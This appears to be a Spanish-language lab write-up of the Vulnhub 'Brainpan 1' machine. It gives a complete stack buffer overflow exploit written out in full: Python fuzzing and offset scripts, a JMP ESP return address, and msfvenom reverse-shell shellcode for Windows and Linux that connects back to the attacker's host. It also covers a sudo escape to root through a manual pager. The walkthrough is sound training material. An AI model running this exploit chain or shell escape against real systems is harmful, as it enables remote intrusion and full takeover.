Orientación del equipo rojo: Explicación de las ideas de orientación de Brainpan (vulnhub)

Tabla de contenido

escribir al principio

Paso 1: Detección de hosts y escaneo de puertos

Paso dos: Penetración web

Paso 3: Identificación de vulnerabilidad de desbordamiento de búfer

Paso 4: Localice el registro eip (determinar la longitud de la cadena de desbordamiento)

Paso 5: Expansión ESP (juzgando si el tamaño del registro ESP es suficiente para contener shellcode) 

Sexto paso: Identificación de bytes erróneos

Paso 7: Posicionamiento JMP ESP

Paso 8: Complete el código shell en ESP

Noveno Paso: Escalada de Derechos

escribir al final

escribir al principio

  Este blog se basa en el video de las notas del equipo rojo del hermano mayor. Detalla cada paso del pensamiento del tiroteo. No es una repetición de la redacción. Los lectores obtendrán algo después de verlo con paciencia. Esta máquina de destino es diferente de las ideas de máquinas de destino comunes anteriores para las vulnerabilidades de cms. Implica el conocimiento del desbordamiento del búfer. Similar a resolver el problema de pwn en CTF, debe tener una cierta comprensión de la estructura de registro y el espacio de memoria de pila. El proceso de filmación de este artículo involucra comandos de cadenas, operaciones básicas de ImmunityDebugger, vulnerabilidades de desbordamiento de búfer, ret2shellcode, escalada de privilegios sudo, etc. Vea la idea de segmentación completa:

"Red Team Notes" Target Machine Intensive Talk: Brainpan1: el proceso de utilización típico del desbordamiento del búfer, le permite comprenderlo una vez. _哔哩哔哩_bilibili  Antes de disparar, se recomienda comprender los conocimientos básicos de las vulnerabilidades de desbordamiento de búfer , puede leer mi blog primero:

Introducción a pwn (2): principio del ataque ROP, exploit de desbordamiento de búfer (ret2text+ret2shellcode)

 La máquina de destino a la que se dirige este artículo es de vulnhub. Para obtener más información, consulte:

Brainpan: 1 ~ VulnHub

 Enlace de descarga ver:

https://download.vulnhub.com/brainpan/Brainpan.zip

 El objetivo de esta máquina de destino es obtener privilegios de root. Después de que la descarga se haya realizado correctamente, ábrala con vmware y, cuando aparezca el cuadro de aviso, seleccione " He movido esta máquina virtual " y luego configúrela en modo NAT; de lo contrario, es posible que la máquina de destino no se escanee.

 La interfaz después de iniciar la máquina de destino es la siguiente:

Paso 1: Detección de hosts y escaneo de puertos

 Sigue siendo una idea convencional, así que no entraré en detalles. Para obtener más información sobre los comandos de detección de hosts y exploración de puertos, consulte la parte sobre nmap en mi blog: Pruebas de penetración: resumen de ideas y métodos para la detección de hosts y la exploración de puertos (nmap+comando ping+nc.tradicional+conexión de pseudodispositivo)

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.134
nmap -sT -sV -O -sC -p9999,10000 10.10.10.134
nmap -sU --min-rate 10000 -p- 10.10.10.134
nmap --script=vuln -p9999,10000 10.10.10.134

 Se encuentra que mi máquina de destino IP es 10.10.10.134, y los puertos 9999 y 10000 están abiertos.

 Sin embargo, parece que no estamos familiarizados con los servicios abiertos por estos dos comandos.Al realizar la detección de la versión del servicio y del sistema operativo, agregue un parámetro -sC y use el script predeterminado para la detección:

nmap -sT -sV -sC -O -p9999,10000 10.10.10.134 

 Puede ver que hay mucha información, entre la cual el puerto 10000 es probablemente un servicio http iniciado con python2.7, y hay muchos caracteres y formas ASCII que no se pueden entender temporalmente. El escaneo UDP no tiene resultados obvios y el escaneo del script de vulnerabilidad de vuln no tiene información.

Paso dos: Penetración web

Abra el navegador, visite el puerto 9999 de la IP de la máquina de destino y vea qué información hay:

 

 Puede ver una interfaz, y el código fuente de la página web también tiene la misma forma. Esta interfaz parece permitirnos ingresar información de contraseña para la interacción, pero el acceso simple del navegador no puede interactuar. Entonces podemos intentar conectarnos usando nc:

nc 10.10.10.134 9999

 También es posible conectarse, y puede ingresar PASSWORD para la interacción, no sabemos cuál es la contraseña, solo ingrese aaa, el resultado muestra que ACCESS DENIED niega el acceso, y salimos directamente. Entonces, si podemos encontrar la CONTRASEÑA correcta, podremos obtener más información.

Eche otro vistazo al puerto 10000:

 Es una página web y el contenido de la página es una imagen grande y larga. El contenido de la imagen es información relacionada con la seguridad de la red y no hay nada que ver. El navegador no puede ver nada cuando visita la página. Intentemos explotar el directorio para ver qué obtenemos. Esta vez, lo intentaremos con gobuster:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.134:10000

Entre ellos, dir es el modo que especifica la enumeración de directorio/archivo, -w especifica el diccionario, -u especifica la url de la voladura, y el resultado de la voladura es el siguiente:

 Escanea a un directorio bin, intentamos acceder a:

 Encontramos un archivo exe, vamos a descargarlo, no lo ejecutes todavía, verifica primero la información de este archivo:

 De hecho, es un archivo ejecutable de 32 bits para Windows, y luego use binwalk para ver si hay archivos incluidos:

 No hay información de archivo agrupada, y luego mire la información de cadena dentro de este archivo:

strings brainpan.exe

 En la información de la cadena, recuerda que este programa no puede ejecutarse en modo DOS, luego hay 32 A, y hay una línea de información sobre la copia de bytes al búfer, y hay una línea de caracteres extraños, seguido de la anterior navegador al patrón ascii. Entonces, ¿shitstorm es una CONTRASEÑA? Intentemoslo de nuevo:

 La buena noticia es que la contraseña es correcta esta vez, la mala noticia es que no se ha obtenido ninguna otra información, y parece que esta forma no está funcionando. Entonces, nuestra próxima idea es apuntar a este archivo brainpan.exe y ver qué información tiene este archivo ejecutable. Por razones de seguridad, se recomienda utilizar una máquina virtual de Windows para ejecutar este archivo.

Paso 3: Identificación de vulnerabilidad de desbordamiento de búfer

Ejecute brainpan.exe en el entorno de la ventana, puede ver que aparece la siguiente interfaz:

 Probablemente significa que se inicializó un winsock, el puerto es 9999 y está esperando una conexión. Luego podemos usar nc para intentar conectarnos al puerto 9999 de la máquina de Windows (la ip de la máquina de Windows se puede ver con ipconfig, la mía es 10.10.10.1), primero intente ingresar una CONTRASEÑA:

 Entonces mire el brainpan.exe justo ahora:

 Se puede encontrar que el aviso copió 8 bytes al búfer. Si ingresa shitstorm, el eco es básicamente el mismo, pero la verificación será 0. Se puede juzgar que la verificación puede ser 0 para indicar que la contraseña es correcta. y -1 para indicar un error. Dado que implica copiar bytes en el búfer, aquí existe una vulnerabilidad potencial de desbordamiento del búfer.

 Si ingresamos una cadena muy larga, ¿provocará un desbordamiento y el programa fallará? Si se produce un desbordamiento, ¿qué longitud tiene esta cadena "muy larga"? En este punto, podemos escribir un script python2 exp1.py para probar, el código es el siguiente:

#!/usr/bin/python
import socket
import time
import sys

#figure out how many chars could make brainpan.exe crush
size = 100
while True:
    try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #用于建立socket连接
        s.connect(("10.10.10.1",9999))    #连接windows机器的9999端口
        buffer = 'A' * size     #待发送字符串的长度,按照100个字符逐渐增加
        print "\n[+]Send evil buffer %s bytes." % size    #提示发送了多少个字符
        s.send(buffer)     #发送字符串
        s.close()          #连接关闭
        size += 100
        time.sleep(2)      #每发送一次,睡眠2s,便于我们观测过程
    except:
        print "\n[+] Could not connect,error!\n"   #出现异常的提示
        sys.exit()             #系统退出

 Reinicie el archivo brainpan.exe y ejecute el script exp1 en kali para conectarse:

 Se encontrará que después de enviar una cadena de 600 longitudes, brainpan.exe finalizará directamente la operación y el archivo exp1.py también dejará de enviarse. Indica que efectivamente existe una vulnerabilidad de desbordamiento. El llamado exploit de desbordamiento de búfer es construir un desbordamiento, agregar nuestra carga útil, modificar el flujo de ejecución del programa y finalmente ejecutar la carga útil que agregamos (shell de rebote, etc.), el núcleo es si puede desbordarse. ¿Cómo modificar el proceso de ejecución? ¿Cómo agregar carga útil? Esta es la idea general del desbordamiento de búfer, y todas las operaciones posteriores se basan en esta vista general.

Un máximo de 600 bytes provocará un desbordamiento del búfer. ¿Cuántos bytes es eso exactamente?

Paso 4: Localice el registro eip (determinar la longitud de la cadena de desbordamiento)

Podemos usar la herramienta msf-pattern_creat para generar una cadena de 600 bytes, que se caracteriza por el hecho de que las subcadenas consecutivas se pueden colocar de forma única.

msf-pattern_create -l 600 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

 Luego abra el archivo brainpan.exe con ImmunityDebugger. En este momento, la herramienta ImmunityDebugger equivale a actuar como un intermediario entre la CPU y brainpan.exe, lo que nos conviene para observar el flujo del programa, registros, pila, memoria, etc. del lenguaje ensamblador cuando el programa se está ejecutando. .

 Puede ver que la esquina inferior derecha está en pausa, lo que significa que el archivo está en estado de pausa.Hacemos clic en el botón del programa en ejecución en la esquina superior izquierda (el 7 de la izquierda, o presionamos F9 directamente) para iniciar el programa. En este momento, el estado de la solicitud en la esquina inferior derecha cambia a En ejecución. La diferencia entre este inicio y hacer doble clic en el archivo exe directamente es que ImmunityDebugger se utiliza como intermediario.

 Luego, usamos la cadena de patrón de 600 caracteres que acabamos de generar para reconstruir la carga útil y escribir exp2 de la siguiente manera:

#!/usr/bin/python
import socket
import time
import sys

#figure out how many chars could make overflow exactly.
try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.10.1",9999))
        buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'
        print "\n[+]Send evil buffer 600 bytes."
        s.send(buffer)
        s.close()
        time.sleep(2)
except:
        print "\n[+] Could not connect,error!\n"
        sys.exit()

 Este exp2.py es para enviar los 600 caracteres recién generados.

 Volviendo a ImmunityDebugger, puede ver que esta cadena se completa en EDX, pero EDX no es suficiente y parte de ella está instalada en ESP. El registro que necesita especial atención es el EIP (instructor pointer), este registro marca la dirección de memoria de la siguiente instrucción y es la clave para el desbordamiento del búfer.

 Como se muestra en la figura anterior, el valor en EIP es 35724134, que es el valor del código ASCII, que es equivalente a 4Ar5 debido a la visualización de endian pequeño (orden inverso).

 A continuación, estamos buscando la posición de 35724134 (4Ar5) en la cadena de 600 bytes generada por msf-pattern_creat Los siguientes dos comandos son aceptables:

msf-pattern_offset -l 600 -q 35724134
msf-pattern_offset -l 600 -q 4Ar5 

 Se puede ver que el desplazamiento es 524, es decir, siempre que se envíen 524 + 4 caracteres, el registro EIP se puede sobrescribir y el contenido almacenado en el registro EIP son los últimos 4 caracteres de los 528 caracteres enviados (que es decir, los caracteres 525 a 528 llenarán el registro EIP ).

Para verificar que los 525-528 caracteres enviados llenen el registro EIP, podemos construir un payload, enviar 600 caracteres, los primeros 524 caracteres son A, los 525-528 caracteres son B, usados ​​para cubrir EIP, y el último Se utilizan 72 caracteres para formar números, todos los cuales son C, y exp3.py se escribe en consecuencia:

#!/usr/bin/python
import socket
import time
import sys

#cover EIP with 'BBBB'.
try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.10.1",9999))
        buffer = 'A' * 524 + 'B' * 4 + 'C' * 72
        print "\n[+]Send evil buffer 600 bytes(524 A, 4 B, 72 C)."
        s.send(buffer)
        s.close()
        time.sleep(2)
except:
        print "\n[+] Could not connect,error!\n"
        sys.exit()

Vuelva a abrir ImmuityDebugger, ejecute brainpan.exe (haga clic en el sexto botón × desde la izquierda en la esquina superior izquierda, luego vuelva a abrir brainpan.exe, haga clic en archivo->abrir en la barra de menú, abra el archivo y luego haga clic en el séptimo botón desde la izquierda en la esquina superior izquierda Un botón para ejecutar ¡ Presta especial atención! Cada vez que ejecutes una nueva exp, debes realizar dicha operación de reapertura .), ejecuta este exp3.py en kali:

 Efectivamente, el registro EIP se sobrescribió con BBBB (el código ascii de B es 42 en hexadecimal), EDX se sobrescribió con varias A y ESP se sobrescribió con 72 C.

 También puede ver la situación de la memoria en el área de la pila:

Paso 5: Expansión ESP (juzgando si el tamaño del registro ESP es suficiente para contener shellcode) 

Intentamos poner el shellcode en el ESP, que es la posición de 72 Cs ahora, pero el tamaño del shellcode suele ser de unos 300-400 bytes, obviamente 72 bytes no son suficientes, así que intentamos desbordar de nuevo, esta vez enviar La cadena es 524 A, 4 B y 500 C. Vuelva a ejecutarlo para ver el bloqueo del programa y la situación interna del ESP. Si el bloqueo es el mismo que antes y el ESP ha almacenado 500 C, significa que el ESP es lo suficientemente grande como para almacenar shellcode . Construya exp4.py de la siguiente manera:

#!/usr/bin/python
import socket
import time
import sys

#cover EIP with 'BBBB',cover ESP with 'C'*500 to figure out if ESP is big enough to cover shellcode.
try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.10.1",9999))
        buffer = 'A' * 524 + 'B' * 4 + 'C' * 500
        print "\n[+]Send evil buffer 1028 bytes(524 A, 4 B, 500 C)."
        s.send(buffer)
        s.close()
        time.sleep(2)
except:
        print "\n[+] Could not connect,error!\n"
        sys.exit()

El estado del registro después de la operación es el siguiente:

 Hay muchos C almacenados en el ESP, y no hay problema. Mire la situación en la pila, encuentre la posición de inicio y la posición final de C, puede ver que la dirección de memoria de la primera C es 005FF910 y la dirección de memoria de las últimas 4 C es 005FFAE4:

 Entonces, el tamaño de ESP es 005FFAE4-005FF910+4=472 bytes, que debería ser suficiente para almacenar el código de shell del shell de rebote.

Sexto paso: Identificación de bytes erróneos

En lenguaje C, 00 es un carácter incorrecto y su función es truncar. Los llamados bad bytes son caracteres que existen en el programa y hacen que el código no se ejecute con normalidad, y están relacionados con el propio programa y el protocolo de comunicación. Puede verificar los bytes incorrectos en github:

GitHub - cytopia/badchars: generador de caracteres defectuosos para instruir a codificadores como shikata-ga-nai para transformarlos en otros caracteres.

 Los posibles bytes erróneos son los siguientes, \x00 no está incluido en la figura, porque \x00 debe ser un byte erróneo y no se necesita más identificación.

  A continuación, construimos exp5.py, llenamos los posibles bytes defectuosos en ESP y verificamos los registros y la memoria.Exp5.py es el siguiente:

#!/usr/bin/python                                                                                                                [8/260]
import socket                                                                                                                           
import time                                                                                                                             
import sys                                                                                                                              
                                                                                                                                        
#find badchars,cover ESP with possible badchars                                                                                         
try:                                                                                                                                    
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)                                                                            
        s.connect(("10.10.10.1",9999))                                                                                                  
                                                                    
        badchars = (                                                
        "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +                                                            
        "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +                                                            
        "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +                                                            
        "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +                                                            
        "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +                                                            
        "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +                                                            
        "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +                                                            
        "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +                                                            
        "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +                                                            
        "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +                                                            
        "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +                                                            
        "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +                                                            
        "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +                                                            
        "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +                                                            
        "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +                                                            
        "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"                                                                  
        )                                                           
        buffer = 'A' * 524 + 'B' * 4 + badchars                     
        print "\n[+]Send evil buffer many bytes(524 A, 4 B, 255 badchars)."                                                             
        s.send(buffer)
        s.close()                                                                                                                       
        time.sleep(2)                                                                                                                   
except:                                                                                                                                 
        print "\n[+] Could not connect,error!\n"                                                                                        
        sys.exit()                    

 Ejecute exp5.py para observar la situación de ESP:

 Haga clic en la dirección de memoria detrás del ESP, luego haga clic con el botón derecho -> Seguir en volcado, puede ver el estado de la memoria en la ventana inferior izquierda

 La ventana inferior izquierda es la siguiente, puede ver que de 01 a FF son continuos, lo que indica que no hay bytes defectuosos. Si hay bytes incorrectos, puede haber muchos bytes nulos de 00 .

Paso 7: Posicionamiento JMP ESP

 Aunque el shellcode se puede almacenar en ESP, ¿ cómo podemos asegurarnos de que el flujo de ejecución del programa salte a ESP? Esto requiere la redirección a través de EIP, es decir, encontrar la dirección de memoria de la instrucción de ensamblado JMP ESP y sobrescribir esta dirección de memoria en EIP . Dado que EIP marca la dirección de ejecución de la siguiente instrucción, si sobrescribimos EIP en la dirección de memoria de la instrucción JMP ESP, entonces el programa ejecutará JMP ESP, y luego, si el shellcode está almacenado en ESP, será explotado con éxito. .

En primer lugar, necesitamos encontrar la dirección de memoria de la instrucción JMP ESP. Al buscar, no podemos usar caracteres como JMP ESP para buscar directamente, sino usar el código de operación. El código de operación de JMP ESP se puede buscar con msf-nasm_shell, y puede encontrar El código de operación para JMP ESP es FFE4.

 El siguiente paso es buscar FFE4. En ImmuityDebugger, es muy conveniente ejecutar directamente algunos scripts de python. Ingrese los módulos !mona en el cuadro de entrada en la esquina inferior izquierda, y podrá ver el mecanismo de protección del programa que se está ejecutando actualmente:


Aquí hay una breve introducción: después de instalar ImmuityDebugger por primera vez, ingresé a los módulos !mona e informé directamente un error pycommands: error al importar el módulo. Esto se debe a que la secuencia de comandos predeterminada de ImmuityDebugger no protege el archivo mona.py. Debe descargar mona.py y colocar este archivo en la ruta PyCommends. Para la dirección de descarga de mona.py, consulte https://github.com/corelan/mona

 Este problema me ha preocupado durante mucho tiempo y el interludio ha terminado.


 Volviendo al tema, a través de mona.py, puede ver que el mecanismo de protección del brainpan.exe que se está ejecutando actualmente es Falso, lo cual es fácil de explotar. Por lo tanto, la propia máquina de destino pasa a ayudarnos a localizar el JMP ESP. De hecho, no hay necesidad de insistir en utilizar el JMP ESP en la máquina de destino. También es posible encontrar otros programas cuyos mecanismos de seguridad no estén habilitados. Sin embargo, se han habilitado muchos otros programas que se ejecutan actualmente en Windows Mecanismo de seguridad, difícil de localizar JMP ESP.

 Luego buscamos ffe4 en brainpan.exe, el comando es el siguiente:

!mona find -s  "\xff\xe4"  -m brainpan.exe

Se encontró un total de una ubicación de memoria, 311712f3, donde se almacena la instrucción JMP ESP. Así que tenemos que escribir esta dirección de memoria en EIP, que es la ubicación donde se escribió B antes. Debido al problema de la visualización little-endian, es necesario completar el EIP en orden de bytes inverso, es decir, "\xf3\x12\x17\x31".

Paso 8: Complete el código shell en ESP

Finalmente, construya el código de shell del shell de rebote, que se puede generar directamente con msfvemon aquí, LHOST y LPORT especifican la ip y el puerto, -b especifica el carácter incorrecto, -e especifica el método de codificación, aquí elija shikata_ga_nai, que es japonés vocabulario, en el campo de antivirus bypass Es más fácil de usar, -f formas c código de idioma. El tamaño del shellcode generado es de 351 bytes (debido al método de codificación, el resultado de cada generación es diferente):

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

 

Luego, completamos la posición de C en el ESP original como el código de shell anterior (el código de shell aquí no se genera al mismo tiempo que la imagen de arriba, por lo que es diferente, solo complete el shell de rebote generado por msfvemon). El método de codificación de shikata_ga_nai es muy útil para evitar matar y pasar por alto. Pero también generará varias "apuestas" para decodificar. Por lo tanto, al construir el payload, debe completar varias instrucciones de no hacer nada NOP (\x90) al comienzo del ESP, llamado slide, para evitar que el código se borre y el código no se pueda ejecutar con éxito, y luego agregue shellcode . Por supuesto, incluso si no usamos la codificación para evitar la omisión del antivirus, podemos agregar algunos NOP para deslizar algunos bytes para asegurarnos de que el shellcode no se "borre". El código completo es el siguiente exp6.py:

!/usr/bin/python                                                                                                                       
import socket                                                                                                                           
import time                                                                                                                             
import sys                                                                                                                              
                                                                                                                                        
#set payload(windows_reverse_shell) for windows                                                                                         
try:                                                                
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)                                                                            
        s.connect(("10.10.10.1",9999))                                                                                                  
        ebp = "311712f3"
        badchars = '\x00'
        shellcode = ("\xdd\xc0\xbf\xb6\xe7\xea\xd8\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"                                              
                "\x52\x31\x7d\x17\x03\x7d\x17\x83\x5b\x1b\x08\x2d\x5f\x0c\x4f"                                                          
                "\xce\x9f\xcd\x30\x46\x7a\xfc\x70\x3c\x0f\xaf\x40\x36\x5d\x5c"                                                          
                "\x2a\x1a\x75\xd7\x5e\xb3\x7a\x50\xd4\xe5\xb5\x61\x45\xd5\xd4"                                                          
                "\xe1\x94\x0a\x36\xdb\x56\x5f\x37\x1c\x8a\x92\x65\xf5\xc0\x01"                                                          
                "\x99\x72\x9c\x99\x12\xc8\x30\x9a\xc7\x99\x33\x8b\x56\x91\x6d"                                                          
                "\x0b\x59\x76\x06\x02\x41\x9b\x23\xdc\xfa\x6f\xdf\xdf\x2a\xbe"                                                          
                "\x20\x73\x13\x0e\xd3\x8d\x54\xa9\x0c\xf8\xac\xc9\xb1\xfb\x6b"                                                          
                "\xb3\x6d\x89\x6f\x13\xe5\x29\x4b\xa5\x2a\xaf\x18\xa9\x87\xbb"                                                          
                "\x46\xae\x16\x6f\xfd\xca\x93\x8e\xd1\x5a\xe7\xb4\xf5\x07\xb3"                                                          
                "\xd5\xac\xed\x12\xe9\xae\x4d\xca\x4f\xa5\x60\x1f\xe2\xe4\xec"                                                          
                "\xec\xcf\x16\xed\x7a\x47\x65\xdf\x25\xf3\xe1\x53\xad\xdd\xf6"                                                          
                "\x94\x84\x9a\x68\x6b\x27\xdb\xa1\xa8\x73\x8b\xd9\x19\xfc\x40"                                                          
                "\x19\xa5\x29\xc6\x49\x09\x82\xa7\x39\xe9\x72\x40\x53\xe6\xad"
                "\x70\x5c\x2c\xc6\x1b\xa7\xa7\xe3\xd1\xad\xb7\x9c\xe7\xb1\xb6"                                                          
                "\xe7\x61\x57\xd2\x07\x24\xc0\x4b\xb1\x6d\x9a\xea\x3e\xb8\xe7"                                                          
                "\x2d\xb4\x4f\x18\xe3\x3d\x25\x0a\x94\xcd\x70\x70\x33\xd1\xae"
                "\x1c\xdf\x40\x35\xdc\x96\x78\xe2\x8b\xff\x4f\xfb\x59\x12\xe9"
                "\x55\x7f\xef\x6f\x9d\x3b\x34\x4c\x20\xc2\xb9\xe8\x06\xd4\x07"
                "\xf0\x02\x80\xd7\xa7\xdc\x7e\x9e\x11\xaf\x28\x48\xcd\x79\xbc"                                                          
                "\x0d\x3d\xba\xba\x11\x68\x4c\x22\xa3\xc5\x09\x5d\x0c\x82\x9d"                                                          
                "\x26\x70\x32\x61\xfd\x30\x42\x28\x5f\x10\xcb\xf5\x0a\x20\x96"                                                          
                "\x05\xe1\x67\xaf\x85\x03\x18\x54\x95\x66\x1d\x10\x11\x9b\x6f"                                                          
                "\x09\xf4\x9b\xdc\x2a\xdd")                                                                                             
        buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode                                                               
        print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:windows_reverse_shell."
        s.send(buffer)                                                                                                                  
        s.close()                                                                                                                       
        time.sleep(2) 
except:                                                                                                                                 
        print "\n[+] Could not connect,error!\n"                                                                                        
        sys.exit()

 De vuelta en Kali, primero habilite nc para monitorear el puerto 443, luego reinicie brainpan.exe en ImmunityDebugger, ejecute exp6.py y obtenga con éxito el shell de rebote de la máquina con Windows:

  Nuestro objetivo es obtener el shell de Linux de la máquina de destino, así que regenere el shell inverso del entorno de Linux:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

 Luego modifique la carga útil a exp7.py:

#!/usr/bin/python
import socket
import time
import sys

#set payload(linux_reverse_shell) for target machine
try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.10.134",9999))
        ebp = "311712f3"
        badchars = '\x00'
        
        shellcode = ("\xda\xdd\xd9\x74\x24\xf4\xb8\x12\x4b\x6e\x5a\x5b\x31\xc9\xb1"
        "\x12\x31\x43\x17\x03\x43\x17\x83\xf9\xb7\x8c\xaf\xcc\x9c\xa6"
        "\xb3\x7d\x60\x1a\x5e\x83\xef\x7d\x2e\xe5\x22\xfd\xdc\xb0\x0c"
        "\xc1\x2f\xc2\x24\x47\x49\xaa\xbc\xbd\xa3\xaa\xa9\xc3\xb3\xab"
        "\x92\x4d\x52\x1b\x82\x1d\xc4\x08\xf8\x9d\x6f\x4f\x33\x21\x3d"
        "\xe7\xa2\x0d\xb1\x9f\x52\x7d\x1a\x3d\xca\x08\x87\x93\x5f\x82"
        "\xa9\xa3\x6b\x59\xa9")
        buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
        print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:linux_reverse_shell."
        s.send(buffer)
        s.close()
        time.sleep(2)
except:
        print "\n[+] Could not connect,error!\n"
        sys.exit()

 Regrese a kali, abra nc para monitorear el puerto 443 nuevamente, luego reinicie brainpan.exe en ImmunityDebugger, ejecute exp7.py y obtenga con éxito el shell de rebote de la máquina Linux de destino:

Noveno Paso: Escalada de Derechos

 Primero intente mejorar la interactividad con python:

python -c "import pty;pty.spawn('/bin/bash')"

 Encontré que ahora está en el directorio de inicio del usuario del disco, veamos qué hay en él:

 Hay un archivo ejecutable checksrv.sh, echemos un vistazo al contenido de este script de shell:

 A partir de este script sh, también podemos entender por qué un archivo ejecutable de Windows de 32 bits se ejecuta en una máquina de destino Linux.Esta máquina de destino usa el emulador /usr/bin/wine para ejecutar brainpan.exe, y usa python para generar una web simple. servidor.

 El siguiente paso es escalar los derechos, sudo -l para ver los permisos del disco de usuario actual:

 Se puede encontrar que el usuario actual tiene permiso para ejecutar /home/anansi/bin/anansi_util sin contraseña, así que ejecútelo:

 El indicador dice que se debe agregar la red de operación/lista de procesos/manual, que corresponde a la vista de red/lista de procesos/manual. Intente ejecutar la red de red directamente:

sudo /home/anansi/bin/anansi_util network

 Esto es básicamente lo mismo que direct ip a, luego intente con proclist:

sudo /home/anansi/bin/anansi_util proclist

 Solicita un tipo de terminal desconocido, intente ver el manual nuevamente y agregue un comando más tarde, simplemente veamos el manual de ls:

sudo /home/anansi/bin/anansi_util manual ls

 ¡Aquí puedes interactuar! Nos dijo que presionáramos la tecla enter y no la presionamos. En este momento, debe leer el manual de ls como root, por lo que si inicia un bash aquí, también debe ser una sesión de root, por lo que ingresamos aquí:

!/bin/bash

 ¡Una ola directa de escalada de derechos, raíz directa! La segmentación ya está completa.

escribir al final

